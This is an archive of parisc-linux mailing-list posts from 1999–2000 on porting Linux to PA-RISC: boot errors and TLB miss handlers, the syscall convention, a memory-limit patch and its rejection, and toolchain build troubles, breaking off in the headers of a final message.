> That IIR doesn't look like any instruction on the syscall page that I
> know of.  Perhaps the gateway page is not getting mapped properly.
> The fact that it is trapping after the 'gate' instruction seems to
> support this.

>From this statement, I assume it is a kernel problem and not a glibc
problem ... since the kernel would perform the mapping?  I'll start digging
around in the kernel and see what I can find.... any hints where to start?

Thanks for the replay and explanation.

Ryan


>
> --
> dhd@linuxcare.com, http://www.linuxcare.com/
> Linuxcare. Support for the revolution.
>
> ---------------------------------------------------------------------------
> To unsubscribe: send e-mail to parisc-linux-request@thepuffingroup.com with
> `unsubscribe' as the subject.


From - Thu Nov 08 21:13:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot error on C200+
Date: Sat, 02 Sep 2000 20:29:43 -0600
Lines: 25
Approved: news@gmane.org
Message-ID: <39B1B797.D64CAB00@uswest.net>
References: <39B1822A.4E8F20AB@uswest.net> <20000902210713.C987@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619108 3374 80.91.229.3 (22 Nov 2014 01:18:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Bob Pflederer <krp@rsn.hp.com>
Original-X-From: rbradetich@uswest.net  Sat Sep  2 21:37:11 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA05258
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Sep 2000 21:37:10 -0600
Original-Received: (qmail 28706 invoked by uid 15267); 3 Sep 2000 03:37:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28699 invoked from network); 3 Sep 2000 03:37:20 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 3 Sep 2000 03:37:20 -0000
Original-Received: (qmail 61066 invoked by alias); 3 Sep 2000 03:00:32 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 18357 invoked by uid 0); 3 Sep 2000 02:29:43 -0000
Original-Received: from www.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 3 Sep 2000 02:29:43 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.4.0-test2 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7885

Bob,

Testing the patch now... if it works for me ... I'll commit the patch.

Thanks for the patch!

Ryan


Bob Pflederer wrote:

> I see this on C180.  It goes away if you modify entry.S to use
> PA2.0-style tlb inserts instead of the PA1.1-style tlb inserts.
> Try the attached patch.  It modifies the tlb miss handlers at startup to
> use PA2.0 tlb inserts if you have a PA2.0 cpu.  PA-8000 docs claim
> that PA1.1 tlb inserts are not supported, so I suspect we're hitting
> a case that doesn't work.
>
> Would someone who has CVS write access be willing to commit this
> patch?  It's the last thing I need to make C180 work.
>
> -Bob




From - Thu Nov 08 21:13:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Huggins-Daines <dhd@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot error on C200+
Date: 03 Sep 2000 01:16:46 -0400
Organization: Linuxcare, Inc.
Lines: 33
Approved: news@gmane.org
Message-ID: <877l8ukqbl.fsf@linuxcare.com>
References: <39B1822A.4E8F20AB@uswest.net> <87em32l26m.fsf@linuxcare.com> <39B1B6D7.8898D3C6@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619108 3375 80.91.229.3 (22 Nov 2014 01:18:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Ryan Bradetich <rbradetich@uswest.net>
Original-X-From: dhd@linuxcare.com  Sat Sep  2 23:18:14 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA05664
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Sep 2000 23:18:13 -0600
Original-Received: (qmail 18102 invoked by uid 15267); 3 Sep 2000 05:18:23 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18088 invoked from network); 3 Sep 2000 05:18:23 -0000
Original-Received: from ottawa.linuxcare.com (HELO localhost) (216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 3 Sep 2000 05:18:23 -0000
Original-Received: from dhd by localhost with local (Exim 3.12 #1 (Debian))
	id 13VS99-0006Qd-00; Sun, 03 Sep 2000 01:16:47 -0400
In-Reply-To: Ryan Bradetich's message of "Sat, 02 Sep 2000 20:26:31 -0600"
Original-Lines: 32
User-Agent: Gnus/5.0803 (Gnus v5.8.3) Emacs/20.6
Xref: news.gmane.org gmane.linux.ports.parisc:7886

Ryan Bradetich <rbradetich@uswest.net> writes:

> > Note that GR20 is 0x37, which is the syscall number for fcntl(), which
> > confirms your earlier findings :-)
> 
> From arch/parisc/kernel/syscall.S
> 
>         ENTRY_NAME(sys_ioctl)
>         ENTRY_NAME(sys_fcntl)           /* 55 */
>         ENTRY_NAME(sys_socketpair)
> 
> 55 = 0x37 ....  I understand that....I don't see where GR20 is mapped to the
> the syscall number.... (Not really important that I know now... but curious)

A system call on PA-RISC Linux looks like this:

        be,l    0x100(%sr2,%r0),%sr0,%r31
        ldi     <syscall number>,%r20

(with six possible arguments in %r26 - %r21)

> From this statement, I assume it is a kernel problem and not a glibc
> problem ... since the kernel would perform the mapping?  I'll start digging
> around in the kernel and see what I can find.... any hints where to start?

I think the explanation regarding the TLB miss handlers is correct,
but I haven't tried on the C360 since it doesn't get to userland for
me :(

-- 
dhd@linuxcare.com, http://www.linuxcare.com/
Linuxcare. Support for the revolution.


From - Thu Nov 08 21:13:22 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: bame@riverrock.org
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Boot error on C200+
Date: Sun, 03 Sep 2000 10:57:03 -0600
Lines: 11
Approved: news@gmane.org
Message-ID: <m13Vd4p-001Vp7C@chalet>
References: <87em32l26m.fsf@linuxcare.com>
Reply-To: bame@riverrock.org
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619108 3379 80.91.229.3 (22 Nov 2014 01:18:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:28 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
Original-X-From: bame@bame.riverrock.org  Sun Sep  3 11:00:24 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id LAA20051
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Sep 2000 11:00:23 -0600
Original-Received: (qmail 25801 invoked by uid 15267); 3 Sep 2000 17:00:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 25794 invoked from network); 3 Sep 2000 17:00:28 -0000
Original-Received: from unknown (HELO chalet) (199.254.238.240)
  by mailserv2.iuinc.com with SMTP; 3 Sep 2000 17:00:28 -0000
Original-Received: from bame.riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via in.smtpd with esmtp (ident bame using rfc1413)
	id <m13Vd4p-001Vp7C@chalet> (Debian Smail3.2.0.102)
	for <parisc-linux@thepuffingroup.com>; Sun, 3 Sep 2000 10:57:03 -0600 (MDT) 
Errors-To: bame@riverrock.org
In-reply-to: Your message of "02 Sep 2000 21:00:33 EDT."
             <87em32l26m.fsf@linuxcare.com>
Original-Sender: bame@bame.riverrock.org
Xref: news.gmane.org gmane.linux.ports.parisc:7887

= 
= >  IIR : 43ffff40 ISR : 00000000 IOR : 00000000
= 
= That IIR doesn't look like any instruction on the syscall page that I
= know of.

I've seen this IIR consistently (so far) on pa2.0 processors when they
try to fetch an instruction from an unmapped page.

	-P


From - Thu Nov 08 21:13:22 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ryan Bradetich <rbradetich@uswest.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] PATCH: memory patch
Date: Sun, 03 Sep 2000 15:07:41 -0600
Lines: 45
Approved: news@gmane.org
Message-ID: <39B2BD9D.61337522@uswest.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------03E6B5D605078BCA90A54D06"
X-Trace: ger.gmane.org 1416619109 3382 80.91.229.3 (22 Nov 2014 01:18:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: rbradetich@uswest.net  Sun Sep  3 15:07:34 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id PAA21367
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Sep 2000 15:07:34 -0600
Original-Received: (qmail 6263 invoked by uid 15267); 3 Sep 2000 21:07:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 6253 invoked from network); 3 Sep 2000 21:07:44 -0000
Original-Received: from boispop1.bois.uswest.net (207.108.224.1)
  by mailserv2.iuinc.com with SMTP; 3 Sep 2000 21:07:44 -0000
Original-Received: (qmail 26680 invoked by alias); 3 Sep 2000 21:07:43 -0000
Delivered-To: fixup-parisc-linux@thepuffingroup.com@fixme
Original-Received: (qmail 26666 invoked by uid 0); 3 Sep 2000 21:07:42 -0000
Original-Received: from www.ybsoft.com (HELO uswest.net) (63.224.241.66)
  by boispop1.bois.uswest.net with SMTP; 3 Sep 2000 21:07:42 -0000
Original-Sender: rbrad@mailserv2.iuinc.com
X-Mailer: Mozilla 4.73 [en] (X11; U; Linux 2.4.0-test2 i686)
X-Accept-Language: en
Xref: news.gmane.org gmane.linux.ports.parisc:7888

This is a multi-part message in MIME format.
--------------03E6B5D605078BCA90A54D06
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hello everyone,

I have a small patch that allows the parsic-linux kernel see all
the all the memory the PDC recognizes.   This patch works fine
for me, and if no one has any objections, (ie.  Does this need to
be present for some models?) ... I'll commit it.

Thanks,

Ryan



--------------03E6B5D605078BCA90A54D06
Content-Type: text/plain; charset=us-ascii;
 name="mem.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="mem.patch"

Index: setup.c
===================================================================
RCS file: /home/cvs/parisc/linux-2.3/arch/parisc/kernel/setup.c,v
retrieving revision 1.33
diff -u -p -r1.33 setup.c
--- setup.c	2000/08/25 15:07:19	1.33
+++ setup.c	2000/09/03 20:36:39
@@ -282,8 +282,7 @@ void __init start_parisc(unsigned arg0, 
 	mtctl(ccr, 10);
 
 	mem_start = __pa(memory_start);
-#define MAX_MEM (128*1024*1024)
-	mem_max = (PAGE0->imm_max_mem > MAX_MEM ? MAX_MEM : PAGE0->imm_max_mem);
+	mem_max = PAGE0->imm_max_mem;
 
 	collect_cpuinfo(); // get all cpu & system-information for later use.
 	printk("CPU(s): %d x %s at %d.%06d MHz\n", 

--------------03E6B5D605078BCA90A54D06--


From - Thu Nov 08 21:13:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PATCH: memory patch
Date: Sun, 3 Sep 2000 21:22:42 -0600 (MDT)
Lines: 28
Approved: news@gmane.org
Message-ID: <200009040322.VAA10139@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619109 3385 80.91.229.3 (22 Nov 2014 01:18:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:29 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Sun Sep  3 21:22:48 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id VAA23183
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Sep 2000 21:22:48 -0600
Original-Received: (qmail 26436 invoked by uid 15267); 4 Sep 2000 03:22:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 26429 invoked from network); 4 Sep 2000 03:22:59 -0000
Original-Received: from cosrel2.hp.com (156.153.255.162)
  by mailserv2.iuinc.com with SMTP; 4 Sep 2000 03:22:59 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by cosrel2.hp.com (Postfix) with ESMTP id 62FF43FB
	for <parisc-linux@thepuffingroup.com>; Sun,  3 Sep 2000 21:22:31 -0600 (MDT)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id VAA10139 for parisc-linux@thepuffingroup.com; Sun, 3 Sep 2000 21:22:42 -0600 (MDT)
Xref: news.gmane.org gmane.linux.ports.parisc:7889

Ryan wrote:

>I have a small patch that allows the parsic-linux kernel see all
> the all the memory the PDC recognizes.   This patch works fine
>for me, and if no one has any objections, (ie.  Does this need to
>be present for some models?) ... I'll commit it.

No, a limit was imposed intentionally. Right now, with the kernel
mapping starting at 0xc0000000 we can't support 1 Gb of physical
memory. Machines that have 1 Gb or more will not boot if you
restored the code to what it was before (which is what your patch
would do).

Eventually I plan to move the kernel mapping down a lot closer
to 0. But there are much higher priority things to get done before
that. Right now the kernel is not stable enough to effectively
make good use of even 128 Mb at this point.

I didn't choose the current 128 Mb maximum, and it can almost certainly
be greater than that. If that limit is really bothering you, go ahead
and raise it to 256 Mb or possibly 512 Mb (don't raise it beyond what
you can test).  Don't spend any time trying to figure out what the
absolute maximum can be, since this will almost certainly change in the
future.

John Marvin
jsm@fc.hp.com


From - Thu Nov 08 21:13:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: PATCH: memory patch
Date: 04 Sep 2000 00:03:58 -0400
Organization: mkp.net
Lines: 15
Approved: news@gmane.org
Message-ID: <yq1r970ls5t.fsf@tyra.mkp.net>
References: <200009040322.VAA10139@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619109 3388 80.91.229.3 (22 Nov 2014 01:18:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:29 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: John Marvin <jsm@udlkern.fc.hp.com>
Original-X-From: mkp@mkp.net  Sun Sep  3 22:03:53 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA23547
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Sep 2000 22:03:52 -0600
Original-Received: (qmail 18059 invoked by uid 15267); 4 Sep 2000 04:04:03 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18048 invoked from network); 4 Sep 2000 04:04:03 -0000
Original-Received: from tux.mkp.net (130.225.60.11)
  by mailserv2.iuinc.com with SMTP; 4 Sep 2000 04:04:03 -0000
Original-Received: from tux.mkp.net ([130.225.60.11] helo=tyra.mkp.net)
	by tux.mkp.net with esmtp (Exim 3.14 #2)
	id 13VnPH-0004Ur-00; Mon, 04 Sep 2000 05:58:52 +0200
Original-Received: (from mkp@localhost)
	by tyra.mkp.net (8.9.3/8.9.3) id AAA06120;
	Mon, 4 Sep 2000 00:04:00 -0400
X-Authentication-Warning: tyra.mkp.net: mkp set sender to mkp@mkp.net using -f
Original-Sender: mkp@mkp.net
In-Reply-To: John Marvin's message of "Sun, 3 Sep 2000 21:22:42 -0600 (MDT)"
Original-Lines: 14
User-Agent: Gnus/5.0807 (Gnus v5.8.7) XEmacs/21.1 (Canyonlands)
Xref: news.gmane.org gmane.linux.ports.parisc:7890

>>>>> "John" == John Marvin <jsm@udlkern.fc.hp.com> writes:

John> I didn't choose the current 128 Mb maximum, and it can almost
John> certainly be greater than that. 

It was set to 128 because anything above that caused my 512 MB C160
to barf.  YMMV.

Since the box in question is still in transit from .dk to .ca, I can't
really verify it right now...

-- 
Martin K. Petersen      Cereal Bowl Engineer, Linuxcare, Inc.
http://mkp.net/         SGI XFS, Linux/PA-RISC, GNOME


From - Thu Nov 08 21:13:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kumar <kumar@ix.netcom.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [hppa-linux] Qn on PA-RISC Page tables and TLB
Date: Sun, 28 Mar 1999 12:37:05 -0800 (PST)
Lines: 25
Approved: news@gmane.org
Message-ID: <Pine.LNX.3.96.990328122620.118A-100000@quark.ix.netcom.com>
References: <199903252031.MAA27090@psalpha2.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619110 3392 80.91.229.3 (22 Nov 2014 01:18:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:30 +0000 (UTC)
To: hppa-linux@thepuffingroup.com
Original-X-From: kumar@ix.netcom.com  Sun Mar 28 15:36:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id PAA10510
	for <hppa-linux@sod.res.cmu.edu>; Sun, 28 Mar 1999 15:36:23 -0500
Original-Received: (qmail 20630 invoked by uid 15267); 28 Mar 1999 20:34:59 -0000
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Original-Received: (qmail 20623 invoked from network); 28 Mar 1999 20:34:54 -0000
Original-Received: from dfw-ix4.ix.netcom.com (206.214.98.4)
  by mailserv2.iuinc.com with SMTP; 28 Mar 1999 20:34:54 -0000
Original-Received: (from smap@localhost)
          by dfw-ix4.ix.netcom.com (8.8.4/8.8.4)
	  id OAA02034 for <hppa-linux@thepuffingroup.com>; Sun, 28 Mar 1999 14:35:32 -0600 (CST)
Original-Received: from sji-ca43-204.ix.netcom.com(209.111.209.204) by dfw-ix4.ix.netcom.com via smap (V1.3)
	id rma002011; Sun Mar 28 14:35:21 1999
In-Reply-To: <199903252031.MAA27090@psalpha2.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:7891


On Thu, 25 Mar 1999, Craig Hada wrote:
> > 
> 
> In the absense of a harware TLB walker, the page directory format can be
> structured by software to fit its needs. However, the TLB miss handler
> must reformat the bits to fit the format of the TLB insert instructions.
> To get maximum performace from the system, the TLB miss handlers must be
> made very efficient. The format of the page directory entry in the PA-RISC 
> Arch 1.1 book minimizes the work of the TLB miss handlers by aligning the
> fields to match the format of the TLB insert instructions.
> > 	
> > 
Is it necessary that the virtual to physical mappings in TLB be inserted
only in a tlb miss fault. Can I insert  entries in the anticipation that
there will be a fault soon, for example when I first enable 
virtual mode ? If not, there is a potential chicken and egg problem
because I will get a TLB miss fault as soon as I turn virtual mode on and
TLB miss fault handler has to run in virtual mode with translations
on.....and there aint any tranlations yet inserted ...you get the pitcure

							-pkd




From - Thu Nov 08 21:13:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: =?iso-8859-1?Q?SOETE_Jo=EBl?= <JSO@europay.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] FW: hpux 11.00 near success
Date: Mon, 4 Sep 2000 08:58:25 +0200
Lines: 76
Approved: news@gmane.org
Message-ID: <A4A5E4C468B5D11190220001FA6835DD04DD86BC@epixch003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416619110 3396 80.91.229.3 (22 Nov 2014 01:18:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:30 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: "'Paul Bame'" <bame@noam.fc.hp.com>
Original-X-From: JSO@europay.com  Mon Sep  4 00:58:08 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA03624
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Sep 2000 00:58:08 -0600
Original-Received: (qmail 20306 invoked by uid 15267); 4 Sep 2000 06:58:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20267 invoked from network); 4 Sep 2000 06:58:13 -0000
Original-Received: from mail.europay.com (HELO epirel991.europay.com) (193.75.200.45)
  by mailserv2.iuinc.com with SMTP; 4 Sep 2000 06:58:13 -0000
Original-Received: from epixchims.europay.com (unverified) by epirel991.europay.com
 (Content Technologies SMTPRS 4.1.5) with ESMTP id <Tac10592d464e71270882@epirel991.europay.com>;
 Mon, 4 Sep 2000 08:57:12 +0200
Original-Received: by epixchims.europay.com with Internet Mail Service (5.5.2650.21)
	id <RSK9MZFA>; Mon, 4 Sep 2000 08:53:41 +0200
X-Mailer: Internet Mail Service (5.5.2650.21)
Xref: news.gmane.org gmane.linux.ports.parisc:7892

Hi Paul,

> = recipe.linux) I just note that host is not anymore 
> specified. Is it perhaps
> = the mistake? I will advise asap.
> 
> You probably want target=hppa-linux and host=hppa1.1-hpux10 
> or something like that.

I downloaded the tool chain dated 20000901 and
I just launch the configure as per recipe.hpux (without specifying host)
and it build it himself as 'hppa1.1-hp-hpux11.00' and just begin with
message:

*** This configuration is not supported in the following subdirectories:
     ld
    (Any other directories should still work fine.)

And ...

gcc make failled:

if [ -f hppa1.1-hpux-ranlib ] || ( [ hppa1.1-hp-hpux11.00 = hppa1.1-hp-hpux
] && [ -f /usr/bin/ranlib -o -f /bin/ranlib ] ) ; then \
  hppa1.1-hpux-ranlib ./libgcc.a ; \
else true; fi;
gmake[2]: Leaving directory `/linux/pa32/hpux-build/build-gcc/gcc'
/linux/pa32/hpux-build/build-gcc/gcc/xgcc
-B/linux/pa32/hpux-build/build-gcc/gcc/ -B/opt/puffin/hppa1.1-hpux/bin/
-B/opt/puffin/hppa1.1-hpux/lib/ -isystem /opt/puffin/hppa1.1-hpux/include
-DCROSS_COMPILE -DIN_GCC    `echo -g -O2|sed -e 's/-pedantic//g' -e
's/-Wtraditional//g'` -isystem ./include     -c
../../../gcc/gcc/libgcc1-test.c
cc1: warning: -g is only supported when using GAS on this processor,
cc1: warning: -g option disabled.
Testing libgcc1.  Ignore linker warning messages.
/linux/pa32/hpux-build/build-gcc/gcc/xgcc
-B/linux/pa32/hpux-build/build-gcc/gcc/ -B/opt/puffin/hppa1.1-hpux/bin/
-B/opt/puffin/hppa1.1-hpux/lib/ -isystem /opt/puffin/hppa1.1-hpux/include
-DCROSS_COMPILE -DIN_GCC    `echo -g -O2|sed -e 's/-pedantic//g' -e
's/-Wtraditional//g'` -isystem ./include  libgcc1-test.o -o libgcc1-test \
  -nostartfiles -nostdlib `/linux/pa32/hpux-build/build-gcc/gcc/xgcc
-B/linux/pa32/hpux-build/build-gcc/gcc/ -B/opt/puffin/hppa1.1-hpux/bin/
-B/opt/puffin/hppa1.1-hpux/lib/ -isystem /opt/puffin/hppa1.1-hpux/include
--print-libgcc-file-name`
collect2: cannot find `ld'
gmake[1]: *** [libgcc1-test] Error 1
gmake[1]: Leaving directory `/linux/pa32/hpux-build/build-gcc/gcc'
gmake: *** [all-gcc] Error 2

Do I have to assume that it tries to find ld that binutils did not reach to
build?

> 
> Ok, that probably means you need a full tool chain not just
> the one described in the recipes.  x86 users should probably 
> grab the tarball
> ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20000829.tgz
> because building the full tool chain is often difficult.

> For hpux, start with the recipe in buildutils/palinux-autobuilder.
> Be sure to change this line: '$host="i386-linux";' in the script.

But with the HPUX box I have not Internet also not CVS access.
Never the less I will try to configure (change variable to match my env)
palinux-autobuilder asap.

Thanks again for advises,
	Joel


**********************************************************************
This e-mail and any attachments to it may contain confidential information which is strictly intended for the use of the authorised recipient.  If you have received this e-mail in error, please delete it and notify the sender by replying to this e-mail.
Thank you for your co-operation.
**********************************************************************


From - Thu Nov 08 21:13:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Andrew Park <apark@cdf.toronto.edu>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] syscalls...
Date: Mon, 4 Sep 2000 12:15:55 -0400 (EDT)
Lines: 20
Approved: news@gmane.org
Message-ID: <Pine.SOL.4.21.0009041213150.6280-100000@eddie.cdf>
References: <A4A5E4C468B5D11190220001FA6835DD04DD86BC@epixch003>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619110 3401 80.91.229.3 (22 Nov 2014 01:18:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:30 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: apark@cdf.toronto.edu  Mon Sep  4 10:16:19 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id KAA11066
	for <parisc-linux@puffin.external.hp.com>; Mon, 4 Sep 2000 10:16:18 -0600
Original-Received: (qmail 24531 invoked by uid 15267); 4 Sep 2000 16:16:30 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24524 invoked from network); 4 Sep 2000 16:16:30 -0000
Original-Received: from marvin.cdf.toronto.edu (postfix@128.100.31.3)
  by mailserv2.iuinc.com with SMTP; 4 Sep 2000 16:16:30 -0000
Original-Received: by marvin.cdf.toronto.edu (Postfix, from userid 605)
	id 7705B3C0B; Mon,  4 Sep 2000 12:15:31 -0400 (EDT)
X-Sender: apark@eddie.cdf
In-Reply-To: <A4A5E4C468B5D11190220001FA6835DD04DD86BC@epixch003>
Xref: news.gmane.org gmane.linux.ports.parisc:7893

Hi,

I'd like to work on the following item that was in the TODO list
on the puffin group web site.

check other arches for new syscalls we don't have and add them.

I was just wondering whether there is someone working on it already.
If so can we talk and divide the work load?
Thanks


Andrew Park
           
________________________________________________________________________ 
CDFlab Systems Administrator                       www.cdf.utoronto.ca |
GnuPG Signature              www.cdf.utoronto.ca/~apark/public_key.txt |
------------------------------------------------------------------------



From - Thu Nov 08 21:13:23 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] binutils merge
Date: Tue, 5 Sep 2000 17:23:19 +1100 (EST)
Lines: 9
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0009051645170.26782-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619111 3404 80.91.229.3 (22 Nov 2014 01:18:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:18:31 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com, parisc@lists.linuxcare.com
To: David Huggins-Daines <dhd@linuxcare.com>
Original-X-From: alan@linuxcare.com.au  Tue Sep  5 00:23:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA22150
